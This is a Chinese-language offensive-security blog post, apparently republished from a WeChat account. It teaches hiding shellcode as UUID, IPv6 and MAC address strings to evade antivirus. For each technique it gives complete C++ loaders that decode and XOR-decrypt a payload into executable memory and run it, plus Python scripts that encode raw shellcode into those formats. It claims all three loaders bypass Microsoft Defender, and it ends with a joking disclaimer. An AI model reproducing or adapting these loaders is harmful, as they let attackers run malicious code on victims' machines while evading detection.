|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
“UUID Obfuscation” 是一种非常实用的 shellcode 混淆与免杀手段,利用 UUID(通用唯一识别码)的标准格式来编码恶意 shellcode,使其看起来像正常的标识符,从而绕过静态特征检测。
UUID(Universally Unique Identifier)是通用唯一标识符的缩写,标准格式如下:
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
//例如:b36fa7a3-e8cf-4d99-9db0-9a9b9e3768e1
1、伪装 shellcode:把原始或加密的 shellcode 按照 16 字节一组切割,每组转换为一个 UUID 字符串(或多个 UUID 组合),看起来像合法数据,避免被 AV/EDR 静态特征识别。
2、还原 shellcode:在运行时,用如 UuidFromStringA()
等 API 将 UUID 字符串反解为 16 字节的原始数据,重新组合形成完整 shellcode,然后执行。
constexpr BYTE XOR_KEY[] = { 'k','u','n' };
constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);
static const wchar_t UUID_BLOB[] = LR"(
//自己的payload
)";
intwmain()
{
// 1) 统计块数, 计算加密大小
SIZE_T uuidCount = 0;
for (const wchar_t* p = UUID_BLOB; *p; ++p)
if (*p == L'n') ++uuidCount;
if (UUID_BLOB[0]) ++uuidCount;
const SIZE_T encSize = uuidCount * 16;
// 2) 申请 RWX 内存
BYTE* execMem = static_cast<BYTE*>(
VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));
if (!execMem) return -10;
// 3) 分割 blob, 调用 UuidFromStringW 写入
wchar_t* blobCopy = _wcsdup(UUID_BLOB); // 可写副本
if (!blobCopy) return -11;
SIZE_T offset = 0;
wchar_t* ctx = nullptr;
for (wchar_t* tok = wcstok(blobCopy, L"nrt ", &ctx);
tok && *tok;
tok = wcstok(nullptr, L"nrt ", &ctx))
{
UUID* dest = reinterpret_cast<UUID*>(execMem + offset);
if (UuidFromStringW(reinterpret_cast<RPC_WSTR>(tok), dest) != RPC_S_OK) return -12;
offset += 16;
}
free(blobCopy);
// 4) XOR 解密 (就地)
for (SIZE_T i = 0; i < encSize; ++i)
execMem[i] ^= XOR_KEY[i % KEY_LEN];
FlushInstructionCache(GetCurrentProcess(), execMem, encSize);
// 5) 执行
reinterpret_cast<void(*)()>(execMem)();
// 6) 自清理
SecureZeroMemory(execMem, encSize);
VirtualFree(execMem, 0, MEM_RELEASE);
return 0;
}
import argparse, pathlib, uuid, sys
def parse_key(s: str) -> bytes:
if all(c in "0123456789abcdefABCDEF" for c in s):
s = s.replace(" ", "")
return bytes.fromhex(s)
return s.encode()
p = argparse.ArgumentParser()
p.add_argument("infile", help="原始 shellcode 文件")
p.add_argument("--key", default="kun", help="XOR 密钥(字符串或16进制)")
args = p.parse_args()
key = parse_key(args.key)
sc = pathlib.Path(args.infile).read_bytes()
enc = bytearray(b ^ key[i % len(key)] for i, b in enumerate(sc))
while len(enc) % 16:
enc.append(0x90) # pad NOP
# 输出 -> 逐行 UUID
print("n// 复制以下 UUID 到 loader 的 UUID_BLOB:n")
for i in range(0, len(enc), 16):
print(uuid.UUID(bytes_le=bytes(enc[i:i+16])))
“IPv6 Obfuscation” 指的是利用 IPv6 地址格式,将敏感内容(如 shellcode、payload、命令参数等)进行“伪装”或“编码”,以躲避静态特征匹配、签名检测等安全机制。它属于一种结构伪装 + 编码混淆的免杀技巧。
IPv6 是 128 位地址,由 8 段 16 位(每段 4 个十六进制字符)组成:
格式:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
思路
类似于UUID,这类思路基本是一个意思!
1、将原始的二进制数据(如 shellcode)按每 16 字节分段;
2、每 2 字节表示成 4 位十六进制,拼成 IPv6 格式;
3、在代码中以字符串数组形式呈现,伪装为“IPv6 地址”;
4、程序运行时再反向还原成原始二进制数据。
加载器
const char* IPv6Shell[] = {
//自己的payload
};
unsigned char xor_key[] = { 'k','u','n' };
const int key_len = sizeof(xor_key);
BOOL DecodeIPv6Fuscation(constchar* IPV6[], PVOID LpBaseAddress){
PCSTR Terminator = NULL;
NTSTATUS STATUS;
int offset = 0;
for (int i = 0; i < ElementsNumber; i++) {
PVOID Target = (PVOID)((ULONG_PTR)LpBaseAddress + offset);
STATUS = RtlIpv6StringToAddressA(IPV6[i], &Terminator, (in6_addr*)Target);
if (!NT_SUCCESS(STATUS)) {
printf("[!] Decode failed: %s (Status: 0x%X)n", IPV6[i], STATUS);
return FALSE;
}
offset += 16;
}
return TRUE;
}
voidXorDecryptShellcode(PBYTE buffer, SIZE_T size){
for (SIZE_T i = 0; i < size; ++i) {
buffer[i] ^= xor_key[i % key_len];
}
}
intmain(){
PVOID LpBaseAddress = VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!LpBaseAddress) {
printf("[!] VirtualAlloc failed: %dn", GetLastError());
return -1;
}
// Step 1: 解码 IPv6 表达的 shellcode
if (!DecodeIPv6Fuscation(IPv6Shell, LpBaseAddress)) {
return -1;
}
// Step 2: XOR 解密(解码完之后)
XorDecryptShellcode((PBYTE)LpBaseAddress, SizeOfShellcode);
printf("[+] 仇辉攻防:XOR 解密完成n");
// Step 3: 执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LpBaseAddress, NULL, 0, NULL);
if (!hThread) {
printf("[!] CreateThread failed: %dn", GetLastError());
return -1;
}
printf("[+] 仇辉攻防:Shellcode 执行中...n");
WaitForSingleObject(hThread, INFINITE);
VirtualFree(LpBaseAddress, 0, MEM_RELEASE);
return 0;
}
import sys
import socket
import textwrap
# === 用户配置区 ===
xor_key = b'kun' # XOR 密钥,必须和 C++ 中保持一致
input_shellcode_file = "payload.bin" # 你的原始 shellcode 文件路径
# ==================
def xor_encrypt(data, key):
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
def to_ipv6_block(data16):
# 16 字节转为 IPv6 格式:8组2字节,每组转为4位16进制
hex_parts = [f'{(data16[i] << 8) + data16[i+1]:04X}' for i in range(0, 16, 2)]
return ':'.join(hex_parts)
def pad_to_16_blocks(data):
# 不足16字节,使用 0 补齐
if len(data) % 16 != 0:
pad_len = 16 - (len(data) % 16)
data += b'x00' * pad_len
return data
def main():
with open(input_shellcode_file, 'rb') as f:
raw = f.read()
print(f"[+] Original shellcode size: {len(raw)} bytes")
# 1. XOR 加密
encrypted = xor_encrypt(raw, xor_key)
# 2. 填充为16字节块
padded = pad_to_16_blocks(encrypted)
# 3. 分块转换为 IPv6
ipv6_list = []
for i in range(0, len(padded), 16):
block = padded[i:i+16]
ipv6_list.append(to_ipv6_block(block))
# 4. 打印为 C++ 格式数组
print("n[+] IPv6Shell[] for C++:n")
print("const char* IPv6Shell[] = {")
for ip in ipv6_list:
print(f' "{ip}",')
print("};")
print(f"#define ElementsNumber {len(ipv6_list)}")
print(f"#define SizeOfShellcode {len(padded)}")
if __name__ == '__main__':
main()
“MAC Obfuscation” 是一种将 原始 payload(如 shellcode)伪装成 MAC 地址格式 的免杀混淆技术,常用于绕过静态特征扫描、正则特征匹配等杀毒机制。这种方法属于结构伪装 + 可逆编码的一种。
MAC 地址每个 XX 是 1 字节(8 bit),一整组 MAC 地址表示 6 字节(48 bit)数据。 格式如下:
XX-XX-XX-XX-XX-XX 或 XX:XX:XX:XX:XX:XX
思路
1、每 6 字节 shellcode → 生成一条伪 MAC 地址字符串,使用 -
或 :
分隔;
2、程序运行时再逐条解析字符串还原为原始二进制数据。
加载器
// 伪装 shellcode,每段 6 字节
const char* MACShell[] = {
//自己的payload
};
unsigned char xor_key[] = { 'k','u','n' };
const int key_len = sizeof(xor_key);
// 解码 MAC 表达的 shellcode(密文)
BOOL DecodeMACFuscation(constchar* MAC[], PVOID LpBaseAddress){
PCSTR Terminator = NULL;
NTSTATUS STATUS;
int offset = 0;
for (int i = 0; i < ElementsNumber; i++) {
PVOID dest = (PVOID)((ULONG_PTR)LpBaseAddress + offset);
STATUS = RtlEthernetStringToAddressA(MAC[i], &Terminator, (DL_EUI48*)dest);
if (!NT_SUCCESS(STATUS)) {
printf("[!] Failed to decode: %s (Status: 0x%X)n", MAC[i], STATUS);
return FALSE;
}
offset += 6;
}
return TRUE;
}
// XOR 解密(在 trampoline 内调用)
voidXorDecrypt(PBYTE buffer, SIZE_T size){
for (SIZE_T i = 0; i < size; ++i) {
buffer[i] ^= xor_key[i % key_len];
}
}
// 跳板线程函数:解密 → 调用 → 清除
DWORD WINAPI ShellcodeRunner(LPVOID lpParam){
struct Args {
PBYTE buffer;
SIZE_T size;
};
Args* args = (Args*)lpParam;
PBYTE code = args->buffer;
SIZE_T size = args->size;
XorDecrypt(code, size);
((void(*)())code)();
SecureZeroMemory(code, size);
return 0;
}
intmain(){
// 分配内存
PBYTE shellcodeMem = (PBYTE)VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeMem) {
printf("[!] VirtualAlloc failed: %dn", GetLastError());
return -1;
}
// 解码 MACShell → 写入内存
if (!DecodeMACFuscation(MACShell, shellcodeMem)) return -1;
// 封装参数
struct Args {
PBYTE buffer;
SIZE_T size;
} *args = new Args{ shellcodeMem, SizeOfShellcode };
// 启动 trampoline 线程
HANDLE hThread = CreateThread(NULL, 0, ShellcodeRunner, args, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFree(shellcodeMem, 0, MEM_RELEASE);
delete args;
return 0;
}
转换脚本
import textwrap
# ========== 配置项 ==========
xor_key = b'kun' # XOR 密钥(必须与 C++ 保持一致)
input_file = "payload.bin" # 原始 shellcode 文件(raw 格式)
group_size = 6 # MAC 地址格式为 6 字节
# ============================
def xor_encrypt(data, key):
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
def pad_data(data, block_size):
pad_len = block_size - (len(data) % block_size)
if pad_len != block_size:
data += b'x90' * pad_len # 使用 NOP 填充
return data
def bytes_to_mac(b6):
return "-".join(f"{b:02X}" for b in b6)
def main():
with open(input_file, "rb") as f:
raw = f.read()
print(f"[+] 原始 shellcode 大小: {len(raw)} 字节")
encrypted = xor_encrypt(raw, xor_key)
padded = pad_data(encrypted, group_size)
mac_blocks = [bytes_to_mac(padded[i:i+group_size]) for i in range(0, len(padded), group_size)]
print("n[+] 生成的 MACShell[]:n")
print("const char* MACShell[] = {")
for i, mac in enumerate(mac_blocks):
print(f' "{mac}",')
print("};")
print(f"#define ElementsNumber {len(mac_blocks)}")
print(f"#define SizeOfShellcode {len(padded)}")
if __name__ == "__main__":
main()
免杀测试截图
以上三种混淆方式,本文中的三个加载器,全部过DF!
文中加载器代码仅仅在之前xor加密的情况下(DF查杀)加的混淆,没有使用其它任何手段。
免杀效果通常受多方面影响,没有哪一种技术或者手段能够通吃,通常需要多种手段结合才能最终实现免杀;其次,实战中面临的环境也不一样,不同的杀软效果也不一样,具体问题还需具体分析。本系列文章以技术的实现为主,验证时讲究点到为止,以此表达一项技术的有效性。
#免杀 #加载器 #shellcode #shellcode混淆 #绕过
本文免责声明
本文只教技术,不教犯罪。要是你拿去搞事情,被查水表、喝茶、进去蹲号子——那是你“才华横溢”惹的祸,和我没半毛钱关系。“仇辉攻防”不背锅、不出庭、不送烟!
原文始发于微信公众号(仇辉攻防):【免杀】C2免杀技术(十五)shellcode混淆uuid/ipv6/mac
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论